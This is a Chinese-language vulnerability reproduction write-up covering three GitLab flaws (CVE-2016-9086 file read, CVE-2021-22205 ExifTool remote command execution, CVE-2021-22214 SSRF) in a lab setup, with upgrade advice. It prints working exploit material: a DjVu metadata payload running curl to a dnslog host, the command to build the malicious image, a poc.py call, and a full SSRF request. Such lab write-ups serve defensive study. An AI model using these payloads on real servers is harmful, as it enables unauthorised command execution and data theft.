总字符数: 4.25K

代码: 1.03K, 文本: 1.21K

预计阅读时间: 10 分钟

Gitlab 任意文件读取漏洞(CVE-2016-9086)

漏洞概述

GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web 界面进行访问公开的或者私人项目.近日研究者发现在其多个版本中存在文件读取漏洞 (CVE-2016-9086) 和 任意用户 authentication_token 泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有 gitlab 项目.

影响版本:

  • 任意文件读取漏洞 (CVE-2016-9086):
    1. GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12
    2. GitLav CE/EE version 8.13
  • 任意用户 authentication_token 泄露漏洞:
    1. Gitlab CE/EE versions 8.10.3-8.10.5

漏洞复现

环境运行后,访问http://your-ip:8080即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是rootvulhub123456.

注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误)

登录用户,新建一个项目,点击GitLab export:

在导入页面,将test.tar.gz上传,将会读取到/etc/passwd文件内容:

修复建议

官方先移除了导入包里的软连接,其次,读取 VERSION 的内容和 project.json 的内容出错后将内容输出到日志里而非返回到前端.

建议升级到最新版

GitLab 远程命令执行漏洞(CVE-2021-22205)

漏洞概述

在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令.

利用版本

  1. 11.9 <= GitLab(CE/EE)< 13.8.8
  2. 13.9 <= GitLab(CE/EE)< 13.9.6
  3. 13.10 <= GitLab(CE/EE)< 13.10.3

漏洞复现

环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面.

GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞:

1
python poc.py http://your-ip:8080 "curl http://k58p7p.dnslog.cn"

手工复现-有授权

上传点

账号密码:root/vulhub123456.登录后到个人主页,找到Snippets,新建http://192.168.64.144:8080/-/snippets/new

此处需要上传DjVu格式图片(即Exp)

下载安装DjVuLibre地址

1
apt-get install djvumake -y

准备好将要压缩图片的文本

1
2
3
4
(metadata
(Copyright "\
" . qx{curl http://3436hm.dnslog.cn} . \
" b ") )

生成Exp

1
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

上传Exp虽然会上传失败,但是命令是正常执行的

漏洞修复

升级到最新版本

Gitlab API未授权SSRF复现(CVE-2021-22214)

漏洞描述

编号:CVE-2021-22214

Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式.而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml.因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过.

远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求.攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求.

利用版本

  1. 13.10.5 > GitLab >= 10.5

  2. 13.11.5 > GitLab >= 13.11

  3. 13.12.2 > GitLab >= 13.12

环境搭建

以阿里云centos7.3为例

首先先添加yum源,选择gitlab-ce社区版

1
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash

接着更新下yum缓存

1
yum makecache

此时选择存在漏洞的版本安装即可

1
yum install gitlab-ce-13.12.1-ce.0.el7 -y

下载完成后使用命令gitlab-ctl reconfigure即可默认配置安装gitlab

漏洞复现

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.64.144
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 111

{"include_merged_yaml": true, "content": "include:\n remote: http://6i7mzn.dnslog.cn/api/v1/targets?test.yml"}

修复建议

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本.